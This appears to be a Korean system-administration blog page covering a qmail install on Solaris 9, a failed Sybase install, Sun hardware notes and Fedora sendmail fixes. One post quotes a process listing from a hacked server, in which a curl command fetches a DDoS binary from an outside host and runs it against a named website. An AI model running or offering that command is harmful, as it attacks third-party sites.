Solaris9에 Qmail 컴파일 및 설치하기…

1. Qmail 설치전에 할 일…
컴파일 환경을 갖춘다. cc 또는 gcc를 설치하며, 관련 라이브러리들을 설치하면 된다. 다음으로 필요한 화일들을 다운로드 받는다.

2.Qmail을 컴파일 하기 전에 Ucspi-TCP를 설치해야한다. Qmail이 이것을 이용한다(tcpserver를 이용함).
Ucspi-TCP(UNIX Client-Server Program Interface)는 tcpserver, tcpclient 처럼 작은 프로그램들로 구성된 커맨드라인 인터페이스 클라이언트서버 통신 툴이다. 이것은 xinetd나 inetd를 대체할 수 있는 프로그램 정도로 생각하면 된다.

먼저, source화일을 다운로드 받는다.
http://cr.yp.to/ucspi-tcp.html 다운로드가 가능하다.

source를 풀고, conf-home 화일에서 설치 디렉토리를 변경할 수 있다.(그냥 컴파일 설치하면 /usr/local/bin에 화일들이 설치됨) conf-cc에서 컴파일러 옵션을 변경할 수 있다.

다음에 , (설치디렉토리를 변경하지 않았다면)
make
make setup check
chmod 0510 /usr/local/bin/tcpserver
chmod 0510 /usr/local/bin/tcpclient

별 에러가 없다면 설치가 성공적으로 이루어진 것이다.

2. Qmail 설치.
http://qmail.org/netqmail-1.05.tar.gz (source 화일을 다운로드 받는다.)
패치를 해야하는데, solaris용 gnu patch를 구할 수 없어서 컴파일 해서 설치했지만, 제대로 인식을 하지 못했다. 그래서, 리눅스머신에서 collate.sh를 실행해서 패치한후 패치한 소스를 가져왔다.

컴파일전에 Qmail을 실행하기위한 사용자와 그룹을 만들어준다. qmail은 root권한으로 실행되지 않는다.

# groupadd -g 81 nofiles > /dev/null 2>&1 || :
# groupadd -g 82 qmail > /dev/null 2>&1 || :

# useradd -c “Qmail server” -d /var/qmail -g 81 -s /bin/false -u 81 qmaild > /dev/null 2>&1 || :
# useradd -c “Qmail server” -d /var/qmail/alias -g 81 -s /bin/false -u 82 alias > /dev/null 2>&1 || :
# useradd -c “Qmail server” -d /var/qmail -g 82 -s /bin/false -u 83 qmailq > /dev/null 2>&1 || :
# useradd -c “Qmail server” -d /var/qmail -g 82 -s /bin/false -u 84 qmailr > /dev/null 2>&1 || :
# useradd -c “Qmail server” -d /var/qmail -g 82 -s /bin/false -u 85 qmails > /dev/null 2>&1 || :
# useradd -c “Qmail server” -d /var/qmail -g 81 -s /bin/false -u 86 qmaill > /dev/null 2>&1 || :
# useradd -c “Qmail server” -d /var/qmail -g 81 -s /bin/false -u 87 qmailp > /dev/null 2>&1 || :

홈디렉토리를 만들어준다.
# mkdir /var/qmail
# chown 0:qmail /var/qmail
# mkdir -p /etc/qmail/alias
# mkdir -p /etc/qmail/control
# mkdir -p /etc/qmail/users
# ln -sf /etc/qmail/alias /var/qmail
# ln -sf /etc/qmail/control /var/qmail
# ln -sf /etc/qmail/users /var/qmail
# ln -sf /usr/bin /var/qmail/bin
# ln -sf /usr/share/man /var/qmail/man

소스화일이 있는 디렉토리로 이동후
cc-conf를 열어 자신의 컴파일 환경에 맞게 변경한다.
cc -O2를
-O3 -m64 -fno-omit-frame-pointer
로 변경했다.

SMTP_AUTH를 사용하기위해서 qmail-smtp-auth를 설치한다.
http://members.elysium.pl/brush/qmail-smtpd-auth/ 에서 다운로드한다.

qmail-smtpd-auth-0.31.tar.gz 를 풀고
# cp auth.patch /usr/local/source/netqmail-1.05/netqmail-1.05/
# cp base64.c /usr/local/source/netqmail-1.05/netqmail-1.05/
# cp base64.h /usr/local/source/netqmail-1.05/netqmail-1.05
(/usr/local/source/netqmail-1.05/netqmail-1.05에 qmail 소스화일이 있다).

load 에서 cc 를 찾을수 없다는 에러
화일열어서 cc를 gcc로 변경

에러..
make: warning: Clock skew detected. Your build may be incomplete.
이것은 load파일을 수정했을 경우 나타나는 에러다.
find ./ -name “[Mm]akeFile” -exec touch \{\} \;
안됨..
해결방안.
gcc를 cc에 심볼릭 링크..

#make
#make setup check

sendmail 라이브러리를 사용하는 프로그램들을 위해서 심볼릭 링크를 걸어준다.
#ln -s /var/qmail/bin/sendmail /usr/lib/sendmail
# ln -s /var/qmail/bin/sendmail /usr/sbin/sendmail
# ln -sf /var/qmail/bin/qmail-qread /usr/bin/mailq
# rm -rf /var/qmail/boot/
# rm -rf /var/qmail/doc/
# maildirmake /etc/skel/Maildir

./config

Your hostname is smtp.
hard error
Sorry, I couldn’t find your host’s canonical name in DNS.
You will have to set up control/me yourself.
You’ll have to run the config-fast script located in the same source directory as follows:
./config-fast smtp.domain.com
Here I assume that your domain is domain.com and the hostname of your computer is smtp.

postmaster, mailer-daemon, root를 위한 alias를 설정함.(bash 셸로)
# echo sysadmin > .qmail-postmaster
# echo sysadmin > .qmail-mailer-daemon
# echo sysadmin > .qmail-root
# chmod 644 .qmail-*
# chown root:nofiles .qmail-*

사용자들은 홈디렉토리에 Maildir 을 만들어주기 위해서
# maildirmake $HOME/Maildir

이렇게 하면 홈디렉토리에 Maildir이 생성된다.

여기까지 성공했다면 qmail의 컴파일 설치는 끝이다.

3. qmail 설정하기.
qmail의 모든 설정 화일은 /etc/qmail/control 에 위치한다.

/etc/qmail/control/me –> 도메인이 저장되어 있으며 설치시 정확한 정보를 입력했다면 변경할 필요가 없다.

/etc/qmail/control/locals –>로컬호스트가 메일을 처리할 도메인들의 리스트.
(sendmail의 local-host-names와 비슷한 듯 하다.)

/etc/qmail/control/rcpthosts –> qmail 서버 사용이 허락된 도메인들의 리스트. 여기에 리스트가 없으면 메일을 받지 않는다(?)
이 화일은 가상메일호스팅(virtual mail hosting)과 관련되어 있다.

/etc/qmail/control/defaultdomain –>qmail이 사용하는 도메인 네임이 들어가는 화일이다. (호스트네임은 필요없다)

/etc/qmail/control/plusdomain –>역시 도메인 네임이 들어가는데, 아직 용도는 잘 모르겠다.(아시는분 리플좀…)

4. checkpassword 설치
source 화일을다운로드 한다.
http://cr.yp.to/checkpwd/checkpassword-0.90.tar.gz

압축을 풀고,
#make
#make setup check

5. 테스트
qmail 데몬을 tcpserver를 이용하여 구동한다.

#tcpserver -p -c 1024 -DRHl localhost 0.0.0.0 25 /usr/bin/tcp-env \
tcp-env /usr/bin/qmail-smtpd /bin/checkpassword /bin/true &

# /usr/local/bin/tcpserver -c 1024 -DRHl localhost 0.0.0.0 110 /usr/bin/qmail-popup \
`hostname ` /bin/checkpassword /usr/bin/qmail-pop3d Maildir &

CPAN

# /usr/local/bin/perl -MCPAN -e shell

cpan shell — CPAN exploration and modules installation (v1.61)
ReadLine support available (try ‘install Bundle::CPAN’)

cpan> install Bundle:CPAN

perl CPAN모듈을 이렇게 설치하는건가?

컴파일 환경변수

CC: 사용할 컴파일러의 이름(e.g. ‘gcc’)
CXX: 사용할 C++ 컴파일러의 이름(e.g. ‘CC’)
CFLAGS: C코드를 컴파일하기위한 컴파일러 플래그(e.g. ‘-g -O2’)
CXXFLAGS: C++코드를 컴파일하기위한 컴파일러 플래그(e.g. ‘-g -O2’)CPPFLAGS: 헤더화일을 찾기위한 인클루드 패스(-I/somedir)
LDFLAGS: 라이브러리를 찾기위한 라이브러리 패스 (-L/somedir)
run-patch 라이브러리의 개념을 지원하는 시스템들은 런타임시 공유라이브러리를 찾기위해 추가적인 아규먼트들을 필요로 한다.
솔라리스 링커는 ‘-R/somedir’의 아규먼트가 필요하고, 어떤 리눅스 시스템들은 ‘-rpath /somedir’을 필요로 한다.
LIBS: 링크에 필요한 기타라이브러리(-lsomelib)

linux hack…

apache 23486 23332 0 Jul28 ? 00:00:00 sh -c curl -o f3 http://www.gigashell.org/xpl/ddos/f3;chmod 777 f3;nohup ./f3 www.cursinhofenix.com.br 65535 9999999 2>&1
apache 23493 23486 3 Jul28 ? 00:39:00 ./f3 www.cursinhofenix.com.br 65535 9999999

나와는 크게 상관은 없지만, 계속 뚤리고 있음… 서비스중인 서버라, 계속 막고 계속 뚤리고…. 근본적인 문제가 해결되지 않는한 힘들겠네…

Sun keyboard

sun box의 키보드를 그냥 빼면 시스템이 죽어버린다.
/etc/default/kbd 화일에서
#KEYBOARD_ABORT=disable 를
KEYBOARD_ABORT=disable 로 바꾼다.

그 다음에 kbd -i 로 적용한다.

이상 끝 …..

Continue reading

Fedora core3 웹서버 문제…

멀쩡히 잘 되던 서버를 재시작했더니…

아래와 같은 메시지를 내면서 죽어버린다…. 이유는???

Starting httpd: (98)Address already in use: make_sock: could not bind to address [::]:443
no listening sockets available, shutting down
Unable to open logs

Continue reading

Solaris 9 에 Sybase ASE 12_5 설치하기?

참고 문서
http://manuals.sybase.com/onlinebooks/group-as/asp1250e/instsun/@Generic__BookTextView/1;pt=4;lang=ko

Sybase Adaptive Server는 사용자가 많지 않으므로 설치문서라든지 자료를 구하기 매우 어렵다.

1. 설치전작업
설치전 다음과 같은 작업을 한다.

/etc/system화일에
set shmsys:shminfo_shmmax = nnn
nnn을 조정해서 shared memory의 크기를 증가시켰다.

사용자계정 sybase를 만든다.
sybase로 로그인한후 설치작업을 하는데, 다음과 같은 환경변수를 만들어준다.
(C shell 을 사용했다.)

snowfox% set SYBASE_ASE=ASE-12_5
snowfox% set SYBASE_SYSAM=SYSAM-1_0
snowfox% set SYBASE_OCS=OCS-12_5
snowfox% set SYBASE_FTS=FTS-12_5
snowfox% set SYBASE=/opt/sybase

2. 설치
설치는 콘솔에서 그래픽모드로 할 수도 있고, 원격에서 텍스트모드로도 설치할 수 있다.

그래픽모드는 ./setup
텍스트모드는 ./setup -console

라이센스읽기가 끝나면 설치가 시작된다.

스탠다드를 선택했으며 몇번의 질의과정 후에 아래와 같은 화면이 나온다.

Press ENTER to read the text [Type q to quit]

Sybase Central
Adaptive Server Plugin
Job Scheduler Templates and Utilities
Sybase Software Asset Management

for a total size:

701 MB

Press 1 for Next, 2 for Previous, 3 to Cancel or 4 to Redisplay [1]

Installing Sybase Adaptive Server Enterprise Suite. Please wait…

|———–|———–|———–|————|
0% 25% 50% 75% 100%
||||||||

몇변 화면이 지나간후에..

Press 1 for Next, 2 for Previous, 3 to Cancel or 4 to Redisplay [1]
Building Adaptive Server ‘SNOWFOX’:
Writing entry into directory services…
Directory services entry complete.
Building master device…
Master device complete.
Writing RUN_SNOWFOX file…
RUN_SNOWFOX file complete.
Starting server…
Task failed
Unable to boot server ‘SNOWFOX’.
Server ‘SNOWFOX’ was not created.

——————————————————————————-
Adaptive Server configuration failed. Please check the errors listed below and
consult Sybase Customer Service & Support at http://www.sybase.com/support

Building Adaptive Server ‘SNOWFOX’:
Writing entry into directory services…
Directory services entry complete.
Building master device…
Master device complete.
Writing RUN_SNOWFOX file…
RUN_SNOWFOX file complete.
Starting server…
Task failed
Unable to boot server ‘SNOWFOX’.
Server ‘SNOWFOX’ was not created.

Press 1 for Next, 2 for Previous, 3 to Cancel or 4 to Redisplay [1]

그냥 끝나버린다.
설치로그를 보면
00:00000:00000:2005/05/14 12:18:07.04 kernel Checked out license ASE_DEV
00:00000:00000:2005/05/14 12:18:07.08 kernel Adaptive Server Enterprise Develop
er Edition.
00:00000:00000:2005/05/14 12:18:07.51 kernel Using config area from primary mas
ter device.
00:00000:00000:2005/05/14 12:18:07.52 server Configuration Error: Configuration
file, ‘/opt/sybase/SNOWFOX.cfg’, does not exist.
00:00000:00000:2005/05/14 12:18:07.56 kernel Warning: A configuration file was
not specified and the default file ‘/opt/sybase/SNOWFOX.cfg’ does not exist. SQL
Server creates the default file with the default configuration.
00:00000:00000:2005/05/14 12:18:07.60 kernel Warning: Using default file ‘/opt/
sybase/SNOWFOX.cfg’ since a configuration file was not specified. Specify a conf
iguration file name in the RUNSERVER file to avoid this message.
00:00000:00000:2005/05/14 12:18:07.69 kernel os_create_region: can’t allocate 4
9168384 bytes
00:00000:00000:2005/05/14 12:18:07.71 kernel kbcreate: couldn’t create kernel r
egion.
00:00000:00000:2005/05/14 12:18:07.71 kernel kistartup: could not create shared
memory
00:00000:00000:2005/05/14 12:18:07.82 kernel Checked out license ASE_DEV
00:00000:00000:2005/05/14 12:18:07.82 kernel Adaptive Server Enterprise Develop
er Edition.
00:00000:00000:2005/05/14 12:18:07.82 kernel The configuration area in device ‘
/opt/sybase/data/master.dat’ appears to be corrupt. The server needs this data t
o boot, and so cannot continue. The server will shut down.

안된다…..

sun CPU 업그레이드?

Ultra60 시스템보드 501-4450
j3001 1-2(÷3 mode (300MHz/360MHz))를 2-3(÷2 mode and ÷4 mode (450MHz))으로 바꾼다.

Ultra2 시스템보드 501-3132
J2301 1-2(÷3 mode (250MHZ/300MHz))를 2-3(÷2 (167MHz/200MHz) ÷4 (400MHz))로 바꿈

E250 시스템보드 501-4681(OBP업그레이드필요)
J3001 1-2 ÷3 mode (250MHz/300MHz)
2-3 ÷2 mode (200MHz) ÷4 mode (400MHz)

501-5440
J3001 1-2 In ÷3 mode (250MHz/300MHz)
2-3 In ÷2 (200MHz) ÷4 (400MHz) ÷5 (tbd)
J3002 * 1-2 ÷5 mode
2-3 In In ÷2 mode, ÷3 mode, ÷4 mode (default)

Fedora 설치후 mail받기가 안될때……

모든 설정이 이상 없어도 보내는 메일은 잘 가지만, 받지를 못한다.
이것은fedora 설치후에 sendmail이 루프백만 이용하게 되어있기 때문이다.

/etc/mail/sendmail.m4에서 아래 줄을 찾아서,

DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA’)dnl

이것을

dnl DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA’)dnl

이렇게 바꾸고,

m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf

다음에 sendmail을 재시작 한다.

그러면 받기도 잘 된다.

UNIX/Linux 에서 man 출력을 text 파일로 저장할 때…

gundal님의 글

유닉스/리눅스를 사용하다보면 어떨때는 man 페이지를 저장하고 싶어질 때가 있다. 이럴 때에 유용하게 쓰이는 명령어다. (잊고 있었으면 다시 환기를 위해..)

# man (command_what_you_want) | col -b > file_name

이렇게 만들어 놓은 manual 을 하나 띄워 놓고 작업하면 훨씬 수월함.